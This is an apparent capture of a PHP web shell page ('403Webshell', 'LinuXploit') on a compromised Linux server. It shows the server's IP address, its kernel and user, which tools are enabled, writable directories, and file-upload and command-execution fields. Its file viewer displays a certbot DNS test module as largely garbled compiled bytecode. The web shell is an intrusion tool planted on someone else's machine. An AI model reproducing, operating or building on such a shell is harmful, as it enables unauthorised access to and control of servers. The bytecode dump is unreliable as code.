403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3.9/site-packages/certbot/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/certbot/plugins/__pycache__/dns_test_common.cpython-39.pyc
a

�]e�	�@s�dZddlmZddlmZddlmZddlmZddlZddlZ	ddl
mZddlm
Z
dd	lmZdd
lmZddlmZddlmZer�dd
lmZneZdZe	j�e�d��ZGdd�de�ZGdd�d�Zee efe dd�dd�Z!dS)z'Base test class for DNS authenticators.�)�Any)�Mapping)�
TYPE_CHECKING)�mockN)�
challenges)�achallenges)�
filesystem)�DNSAuthenticator)�	acme_util)�util)�Protocolzexample.comzrsa512_key.pemc@s:eZdZUdZeed<edd�dd�Zedd�dd�ZdS)	�_AuthenticatorCallableTestCasezMProtocol describing a TestCase able to call a real DNSAuthenticator instance.�authN)�unused_args�returncGsdS)zj
        See
        https://docs.python.org/3/library/unittest.html#unittest.TestCase.assertTrue
        N���selfrrr�C/usr/lib/python3.9/site-packages/certbot/plugins/dns_test_common.py�
assertTruesz)_AuthenticatorCallableTestCase.assertTruecGsdS)zk
        See
        https://docs.python.org/3/library/unittest.html#unittest.TestCase.assertEqual
        Nrrrrr�assertEqual%sz*_AuthenticatorCallableTestCase.assertEqual)	�__name__�
__module__�__qualname__�__doc__r	�__annotations__rrrrrrrr
s
r
c@sReZdZdZejejee	d�Z
edd�dd�Zedd�dd�Z
edd�d	d
�ZdS)�BaseAuthenticatorTestz�
    A base test class to reduce duplication between test code for DNS Authenticator Plugins.

    Assumes:
     * That subclasses also subclass unittest.TestCase
     * That the authenticator is stored as self.auth
    )ZchallbZdomainZaccount_keyN)rrcCs|�t|j��t��dS)N)r�
isinstancerZ	more_info�str�rrrr�test_more_info8sz$BaseAuthenticatorTest.test_more_infocCs|�|j�d�tjg�dS)Nzexample.org)rrZget_chall_prefr�DNS01rrrr�test_get_chall_pref;sz)BaseAuthenticatorTest.test_get_chall_prefcCs.t��}|j�|�|jdttjtjd�dS)Nzpropagation-seconds)�type�default�help)rZ	MagicMockrZadd_parser_argumentsZassert_any_call�int�ANY)r�mrrr�test_parser_arguments>sz+BaseAuthenticatorTest.test_parser_arguments)rrrrrZ"KeyAuthorizationAnnotatedChallenger
r!�DOMAIN�KEYZachallr
r r"r)rrrrr,s�r)�values�pathrcCsdt��}|D]}||||<qt|d��}|j|d�Wd�n1sJ0Yt�|d�dS)z�Write the specified values to a config file.

    :param dict values: A map of values to write.
    :param str path: Where to write the values.
    �wb)ZoutfileNi�)�	configobjZ	ConfigObj�open�writer�chmod)r,r-Zconfig�key�frrrr1Es*r1)"r�typingrrrZunittestrr/ZjosepyZjoseZacmerZcertbotrZcertbot.compatrZcertbot.plugins.dns_commonr	Z
certbot.testsr
rZ	test_utilZtyping_extensionsr�objectr*ZJWKRSA�loadZload_vectorr+r
rrr1rrrr�<module>s(

Youez - 2016 - github.com/yon3zu
LinuXploit